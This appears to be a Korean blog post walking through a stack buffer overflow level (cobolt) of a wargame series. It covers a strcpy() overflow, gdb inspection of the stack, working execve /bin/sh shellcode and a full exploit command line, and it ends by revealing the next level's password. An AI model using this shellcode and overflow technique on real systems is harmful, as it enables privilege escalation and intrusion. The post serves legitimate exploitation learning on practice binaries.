심심해서 하는 블로그 :: 'BOF 원정대' 태그의 글 목록

'BOF 원정대'에 해당되는 글 1건

1. 취약점


버퍼 오버플로우에 취약한 함수 strcpy() 사용

근데 버퍼의 크기가 16byte ㅠㅠ 쉘 코드가 41byte라서 Return Address까지 다 덮어버려서 

Level 1때의 단순한 방법으로는 접근하기 힘들다. 따라서 *argv[]를 적극 활용하여 쉘코드를 로드하자


2. Exploit

1. bash2를 사용하고 cobolt.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp cobolt.c /tmp/cobolt.c && cd /tmp


2. gcc로 컴파일을 한다. 이 때 이름은 동일하게 cobolt으로 해야지 메모리 주소가 동일하게 컴파일된다.

$ cd ./test

$ gcc -g -o cobolt cobolt.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./cobolt


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



argv를 활용할테니까 초기 상태에서 중단점을 설정하자


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+3

(gdb) r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'`

(gdb) x/120x $esp



r `perl -e 'print "A"x20, "\x90"x4'` `perl -e 'print "B"x61'` 로 수행하는 이유는 

우선 버퍼를 넘치게해서 Return Address까지 접근하는데 20(dummy) + 4(new Return Address)

그 후 쉘코드를 수행하는데 쉘코드가 41byte이므로 최소 42byte 이상이 존재해야 하므로 

20(nop) + 41(Shell code) 새로운 return 주소는 빨간 네모중 0xbffffc30으로 선정하였다

 


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

버퍼에 용량치 이상의 값을 넣게되면 Return Address 또한 변경이 가능하다. 

이 때 buffer를 20byte로 채우고  Return Address는 0xbffffc30로 선택


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./cobolt `perl -e 'print "A"x20, "\x30\xfc\xff\xbf"'` `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



8. 결과

   id : cobolt

   passwd : hacking exposed


,